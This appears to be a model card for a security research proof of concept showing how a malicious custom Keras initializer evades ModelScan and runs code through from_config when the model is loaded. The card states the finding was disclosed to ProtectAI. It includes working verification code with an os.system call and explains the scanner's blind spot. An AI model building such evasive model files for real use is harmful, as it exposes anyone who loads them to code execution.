---
library_name: keras
tags:
- security-research
- modelscan-bypass
- initializer
- from-config
- rce
---

# ModelScan Initializer from_config Bypass — RCE via kernel_initializer

## What This Is

ModelScan's Keras scanners **only check Lambda layers**. All other serialized custom objects — including initializers, constraints, and regularizers embedded inside layer configs — are **completely ignored**.

This .keras file uses a registered custom initializer (`MyInit>BadInit`) as the `kernel_initializer` for a Dense layer. ModelScan reports **0 Issues**. When loaded, the initializer's `from_config()` executes arbitrary code.

## Verify

```bash
# 1. ModelScan says CLEAN
modelscan -p model.keras
# Output: Issues: 0, Errors: 0, Skipped: 0

# 2. Initializer is in layer config
python3 -c "
import zipfile, json
with zipfile.ZipFile('model.keras') as zf:
    c = json.load(zf.open('config.json'))
    init = c['config']['layers'][1]['config']['kernel_initializer']
    print(f'class_name: {init[\"class_name\"]}')
    print(f'registered: {init[\"registered_name\"]}')
"

# 3. Load → from_config → RCE
python3 -c "
import tensorflow as tf, keras, os
@keras.saving.register_keras_serializable(package='MyInit')
class BadInit(tf.keras.initializers.GlorotUniform):
    @classmethod
    def from_config(cls, config):
        import os; os.system('id > /tmp/INIT_RCE')
        return super().from_config(config)
model = tf.keras.models.load_model('model.keras', safe_mode=False)
print('RCE:', os.path.exists('/tmp/INIT_RCE'))
"
```

## Attack Surface

Initializers live inside layer configs (e.g., `kernel_initializer`, `bias_initializer`). ModelScan iterates over layers but only checks `class_name == "Lambda"`. Any registered custom initializer, constraint, or regularizer escapes detection entirely.

## Disclosure

Submitted to ProtectAI via huntr.dev.